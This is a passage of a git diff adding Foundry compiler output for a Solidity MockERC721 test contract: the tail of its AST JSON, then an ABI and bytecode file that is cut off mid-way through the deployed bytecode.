0"}],"id":33466,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7274:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33465,"name":"address","nodeType":"ElementaryTypeName","src":"7274:7:21","typeDescriptions":{}}},"id":33468,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7274:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33469,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33444,"src":"7286:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33470,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33446,"src":"7290:4:21","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":33460,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7241:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33459,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"7220:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33461,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7220:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7245:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"7220:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7220:75:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33472,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"7319:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33473,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7340:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"7319:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33474,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7357:8:21","memberName":"selector","nodeType":"MemberAccess","src":"7319:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7220:145:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"7184:181:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33477,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7379:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33454,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7163:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7163:244:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33479,"nodeType":"ExpressionStatement","src":"7163:244:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_safeMint","nameLocation":"7059:9:21","parameters":{"id":33447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33442,"mutability":"mutable","name":"to","nameLocation":"7077:2:21","nodeType":"VariableDeclaration","scope":33481,"src":"7069:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33441,"name":"address","nodeType":"ElementaryTypeName","src":"7069:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33444,"mutability":"mutable","name":"id","nameLocation":"7089:2:21","nodeType":"VariableDeclaration","scope":33481,"src":"7081:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33443,"name":"uint256","nodeType":"ElementaryTypeName","src":"7081:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33446,"mutability":"mutable","name":"data","nameLocation":"7106:4:21","nodeType":"VariableDeclaration","scope":33481,"src":"7093:17:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":33445,"name":"bytes","nodeType":"ElementaryTypeName","src":"7093:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7068:43:21"},"returnParameters":{"id":33448,"nodeType":"ParameterList","parameters":[],"src":"7129:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33497,"nodeType":"FunctionDefinition","src":"7599:278:21","nodes":[],"body":{"id":33496,"nodeType":"Block","src":"7663:214:21","nodes":[],"statements":[{"assignments":[33489],"declarations":[{"constant":false,"id":33489,"mutability":"mutable","name":"codeLength","nameLocation":"7681:10:21","nodeType":"VariableDeclaration","scope":33496,"src":"7673:18:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33488,"name":"uint256","nodeType":"ElementaryTypeName","src":"7673:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":33490,"nodeType":"VariableDeclarationStatement","src":"7673:18:21"},{"AST":{"nativeSrc":"7783:56:21","nodeType":"YulBlock","src":"7783:56:21","statements":[{"nativeSrc":"7797:32:21","nodeType":"YulAssignment","src":"7797:32:21","value":{"arguments":[{"name":"_addr","nativeSrc":"7823:5:21","nodeType":"YulIdentifier","src":"7823:5:21"}],"functionName":{"name":"extcodesize","nativeSrc":"7811:11:21","nodeType":"YulIdentifier","src":"7811:11:21"},"nativeSrc":"7811:18:21","nodeType":"YulFunctionCall","src":"7811:18:21"},"variableNames":[{"name":"codeLength","nativeSrc":"7797:10:21","nodeType":"YulIdentifier","src":"7797:10:21"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33483,"isOffset":false,"isSlot":false,"src":"7823:5:21","valueSize":1},{"declaration":33489,"isOffset":false,"isSlot":false,"src":"7797:10:21","valueSize":1}],"id":33491,"nodeType":"InlineAssembly","src":"7774:65:21"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33494,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33492,"name":"codeLength","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33489,"src":"7856:10:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":33493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7869:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7856:14:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33487,"id":33495,"nodeType":"Return","src":"7849:21:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_isContract","nameLocation":"7608:11:21","parameters":{"id":33484,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33483,"mutability":"mutable","name":"_addr","nameLocation":"7628:5:21","nodeType":"VariableDeclaration","scope":33497,"src":"7620:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33482,"name":"address","nodeType":"ElementaryTypeName","src":"7620:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7619:15:21"},"returnParameters":{"id":33487,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33486,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33497,"src":"7657:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33485,"name":"bool","nodeType":"ElementaryTypeName","src":"7657:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7656:6:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":32899,"name":"IERC721Metadata","nameLocations":["404:15:21"],"nodeType":"IdentifierPath","referencedDeclaration":32125,"src":"404:15:21"},"id":32900,"nodeType":"InheritanceSpecifier","src":"404:15:21"}],"canonicalName":"MockERC721","contractDependencies":[],"contractKind":"contract","documentation":{"id":32898,"nodeType":"StructuredDocumentation","src":"125:256:21","text":"@notice This is a mock contract of the ERC721 standard for testing purposes only, it SHOULD NOT be used in production.\n @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC721.sol"},"fullyImplemented":true,"linearizedBaseContracts":[33498,32125,32085,31873],"name":"MockERC721","nameLocation":"390:10:21","scope":33513,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":33512,"nodeType":"ContractDefinition","src":"7881:134:21","nodes":[{"id":33511,"nodeType":"FunctionDefinition","src":"7918:95:21","nodes":[],"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"7927:16:21","parameters":{"id":33507,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33500,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7944:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33499,"name":"address","nodeType":"ElementaryTypeName","src":"7944:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33502,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7953:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33501,"name":"address","nodeType":"ElementaryTypeName","src":"7953:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33504,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7962:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33503,"name":"uint256","nodeType":"ElementaryTypeName","src":"7962:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33506,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7971:14:21","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":33505,"name":"bytes","nodeType":"ElementaryTypeName","src":"7971:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7943:43:21"},"returnParameters":{"id":33510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33509,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"8005:6:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":33508,"name":"bytes4","nodeType":"ElementaryTypeName","src":"8005:6:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"8004:8:21"},"scope":33512,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[33512],"name":"IERC721TokenReceiver","nameLocation":"7891:20:21","scope":33513,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":21} \ No newline at end of file diff --git a/contracts/out/MockERC721.sol/MockERC721.json b/contracts/out/MockERC721.sol/MockERC721.json new file mode 100644 index 000000000..f70dc73ff --- /dev/null +++ b/contracts/out/MockERC721.sol/MockERC721.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"balanceOf","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getApproved","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"initialize","inputs":[{"name":"name_","type":"string","internalType":"string"},{"name":"symbol_","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"isApprovedForAll","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"operator","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"ownerOf","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"owner","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"setApprovalForAll","inputs":[{"name":"operator","type":"address","internalType":"address"},{"name":"approved","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"supportsInterface","inputs":[{"name":"interfaceId","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"tokenURI","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"ApprovalForAll","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_operator","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true,"internalType":"address"},{"name":"_to","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506110068061001d5f395ff3fe6080604052600436106100d9575f3560e01c80636352211e1161007c578063a22cb46511610057578063a22cb46514610238578063b88d4fde14610257578063c87b56dd1461026a578063e985e9c51461028a575f80fd5b80636352211e146101d857806370a08231146101f757806395d89b4114610224575f80fd5b8063095ea7b3116100b7578063095ea7b31461017e57806323b872dd1461019357806342842e0e146101a65780634cd88b76146101b9575f80fd5b806301ffc9a7146100dd57806306fdde0314610111578063081812fc14610132575b5f80fd5b3480156100e8575f80fd5b506100fc6100f7366004610af2565b6102d1565b60405190151581526020015b60405180910390f35b34801561011c575f80fd5b5061012561036d565b6040516101089190610b57565b34801561013d575f80fd5b5061016661014c366004610b69565b5f908152600460205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610108565b61019161018c366004610b96565b6103fc565b005b6101916101a1366004610bbe565b6104fc565b6101916101b4366004610bbe565b61072a565b3480156101c4575f80fd5b506101916101d3366004610c9c565b610822565b3480156101e3575f80fd5b506101666101f2366004610b69565b61089f565b348015610202575f80fd5b50610216610211366004610cfc565b610908565b604051908152602001610108565b34801561022f575f80fd5b5061012561097a565b348015610243575f80fd5b50610191610252366004610d15565b610989565b610191610265366004610d4e565b6109f4565b348015610275575f80fd5b50610125610284366004610b69565b50606090565b348015610295575f80fd5b506100fc6102a4366004610dc5565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205460ff1690565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316148061033357507f80ac58cd000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b8061036757507f5b5e139f000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b92915050565b60605f805461037b90610df6565b80601f01602080910402602001604051908101604052809291908181526020018280546103a790610df6565b80156103f25780601f106103c9576101008083540402835291602001916103f2565b820191905f5260205f20905b8154815290600101906020018083116103d557829003601f168201915b5050505050905090565b5f818152600260205260409020546001600160a01b03163381148061044357506001600160a01b0381165f90815260056020908152604080832033845290915290205460ff165b6104945760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a454400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f82815260046020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b5f818152600260205260409020546001600160a01b038481169116146105645760405162461bcd60e51b815260206004820152600a60248201527f57524f4e475f46524f4d00000000000000000000000000000000000000000000604482015260640161048b565b6001600160a01b0382166105ba5760405162461bcd60e51b815260206004820152601160248201527f494e56414c49445f524543495049454e54000000000000000000000000000000604482015260640161048b565b336001600160a01b03841614806105f357506001600160a01b0383165f90815260056020908152604080832033845290915290205460ff165b8061061357505f818152600460205260409020546001600160a01b031633145b61065f5760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a4544000000000000000000000000000000000000604482015260640161048b565b6001600160a01b0383165f90815260036020526040812080549161068283610e42565b90915550506001600160a01b0382165f9081526003602052604081208054916106aa83610e57565b90915550505f81815260026020908152604080832080546001600160a01b0380881673ffffffffffffffffffffffffffffffffffffffff1992831681179093556004909452828520805490911690559051849391928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6107358383836104fc565b813b15806107d15750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401525f608484015290919084169063150b7a029060a4016020604051808303815f875af11580156107a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c59190610e6f565b6001600160e01b031916145b61081d5760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e5400000000000000000000000000000000604482015260640161048b565b505050565b60065460ff16156108755760405162461bcd60e51b815260206004820152601360248201527f414c52454144595f494e495449414c495a454400000000000000000000000000604482015260640161048b565b5f6108808382610ed5565b50600161088d8282610ed5565b50506006805460ff1916600117905550565b5f818152600260205260409020546001600160a01b0316806109035760405162461bcd60e51b815260206004820152600a60248201527f4e4f545f4d494e54454400000000000000000000000000000000000000000000604482015260640161048b565b919050565b5f6001600160a01b03821661095f5760405162461bcd60e51b815260206004820152600c60248201527f5a45524f5f414444524553530000000000000000000000000000000000000000604482015260640161048b565b506001600160a01b03165f9081526003602052604090205490565b60606001805461037b90610df6565b335f8181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6109ff8484846104fc565b823b1580610a885750604051630a85bd0160e11b808252906001600160a01b0385169063150b7a0290610a3c903390899088908890600401610f95565b6020604051808303815f875af1158015610a58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190610e6f565b6001600160e01b031916145b610ad45760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e5400000000000000000000000000000000604482015260640161048b565b50505050565b6001600160e01b031981168114610aef575f80fd5b50565b5f60208284031215610b02575f80fd5b8135610b0d81610ada565b9392505050565b5f81518084525f5b81811015610b3857602081850181015186830182015201610b1c565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610b0d6020830184610b14565b5f60208284031215610b79575f80fd5b5035919050565b80356001600160a01b0381168114610903575f80fd5b5f8060408385031215610ba7575f80fd5b610bb083610b80565b946020939093013593505050565b5f805f60608486031215610bd0575f80fd5b610bd984610b80565b9250610be760208501610b80565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f67ffffffffffffffff80841115610c2557610c25610bf7565b604051601f8501601f19908116603f01168101908282118183101715610c4d57610c4d610bf7565b81604052809350858152868686011115610c65575f80fd5b858560208301375f602087830101525050509392505050565b5f82601f830112610c8d575f80fd5b610b0d83833560208501610c0b565b5f8060408385031215610cad575f80fd5b823567ffffffffffffffff80821115610cc4575f80fd5b610cd086838701610c7e565b93506020850135915080821115610ce5575f80fd5b50610cf285828601610c7e565b9150509250929050565b5f60208284031215610d0c575f80fd5b610b0d82610b80565b5f8060408385031215610d26575f80fd5b610d2f83610b80565b915060208301358015158114610d43575f80fd5b809150509250929050565b5f805f8060808587031215610d61575f80fd5b610d6a85610b80565b9350610d7860208601610b80565b925060408501359150606085013567ffffffffffffffff811115610d9a575f80fd5b8501601f81018713610daa575f80fd5b610db987823560208401610c0b565b91505092959194509250565b5f8060408385031215610dd6575f80fd5b610ddf83610b80565b9150610ded60208401610b80565b90509250929050565b600181811c90821680610e0a57607f821691505b602082108103610e2857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f81610e5057610e50610e2e565b505f190190565b5f60018201610e6857610e68610e2e565b5060010190565b5f60208284031215610e7f575f80fd5b8151610b0d81610ada565b601f82111561081d57805f5260205f20601f840160051c81016020851015610eaf5750805b601f840160051c820191505b81811015610ece575f8155600101610ebb565b5050505050565b815167ffffffffffffffff811115610eef57610eef610bf7565b610f0381610efd8454610df6565b84610e8a565b602080601f831160018114610f36575f8415610f1f5750858301515b5f19600386901b1c1916600185901b178555610f8d565b5f85815260208120601f198616915b82811015610f6457888601518255948401946001909101908401610f45565b5085821015610f8157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6001600160a01b03808716835280861660208401525083604083015260806060830152610fc66080830184610b14565b969550505050505056fea264697066735822122018f5d8a3fb3a0ae3b302c0a30b888e8fa1a296f9cab6fd5a3851e7708e733c9264736f6c63430008180033","sourceMap":"381:7498:21:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100d9575f3560e01c80636352211e1161007c578063a22cb46511610057578063a22cb46514610238578063b88d4fde14610257578063c87b56dd1461026a578063e985e9c51461028a575f80fd5b80636352211e146101d857806370a08231146101f757806395d89b4114610224575f80fd5b8063095ea7b3116100b7578063095ea7b31461017e57806323b872dd1461019357806342842e0e146101a65780634cd88b76146101b9575f80fd5b806301ffc9a7146100dd57806306fdde0314610111578063081812fc14610132575b5f80fd5b3480156100e8575f80fd5b506100fc6100f7366004610af2565b6102d1565b60405190151581526020015b60405180910390f35b34801561011c575f80fd5b5061012561036d565b6040516101089190610b57565b34801561013d575f80fd5b5061016661014c366004610b69565b5f908152600460205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610108565b61019161018c366004610b96565b6103fc565b005b6101916101a1366004610bbe565b6104fc565b6101916101b4366004610bbe565b61072a565b3480156101c4575f80fd5b506101916101d3366004610c9c565b610822565b3480156101e3575f80fd5b506101666101f2366004610b69565b61089f565b348015610202575f80fd5b50610216610211366004610cfc565b610908565b604051908152602001610108565b34801561022f575f80fd5b5061012561097a565b348015610243575f80fd5b50610191610252366004610d15565b610989565b610191610265366004610d4e565b6109f4565b348015610275575f80fd5b50610125610284366004610b69565b50606090565b348015610295575f80fd5b506100fc6102a4366004610dc5565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205460ff1690565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316148061033357507f80ac58cd000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b8061036757507f5b5e139f000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b92915050565b60605f805461037b90610df6565b80601f01602080910402602001604051908101604052809291908181526020018280546103a790610df6565b80156103f25780601f106103c9576101008083540402835291602001916103f2565b820191905f5260205f20905b8154815290600101906020018083116103d557829003601f168201915b5050505050905090565b5f818152600260205260409020546001600160a01b03163381148061044357506001600160a01b0381165f90815260056020908152604080832033845290915290205460ff165b6104945760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a454400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f82815260046020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b5f818152600260205260409020546001600160a01b038481169116146105645760405162461bcd60e51b815260206004820152600a60248201527f57524f4e475f46524f4d00000000000000000000000000000000000000000000604482015260640161048b565b6001600160a01b0382166105ba5760405162461bcd60e51b815260206004820152601160248201527f494e56414c49445f524543495049454e54000000000000000000000000000000604482015260640161048b565b336001600160a01b03841614806105f357506001600160a01b0383165f90815260056020908152604080832033845290915290205460ff165b8061061357505f818152600460205260409020546001600160a01b031633145b61065f5760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a4544000000000000000000000000000000000000604482015260640161048b565b6001600160a01b0383165f90815260036020526040812080549161068283610e42565b90915550506001600160a01b0382165f9081526003602052604081208054916106aa83610e57565b90915550505f81815260026020908152604080832080546001600160a01b0380881673ffffffffffffffffffffffffffffffffffffffff1992831681179093556004909452828520805490911690559051849391928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6107358383836104fc565b813b15806107d15750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401525f608484015290919084169063150b7a029060a4016020604051808303815f875af11580156107a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c59190610e6f565b6001600160e01b031916145b61081d5760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e5400000000000000000000000000000000604482015260640161048b565b505050565b60065460ff16156108755760405162461bcd60e51b815260206004820152601360248201527f414c52454144595f494e495449414c495a454400000000000000000000000000604482015260640161048b565b5f6108808382610ed5565b50600161088d8282610ed5565b50506006805460ff1916600117905550565b5f818152600260205260409020546001600160a01b0316806109035760405162461bcd60e51b815260206004820152600a60248201527f4e4f545f4d494e54454400000000000000000000000000000000000000000000604482015260640161048b565b919050565b5f6001600160a01b03821661095f5760405162461bcd60e51b815260206004820152600c60248201527f5a45524f5f414444524553530000000000000000000000000000000000000000604482015260640161048b565b506001600160a01b03165f9081526003602052604090205490565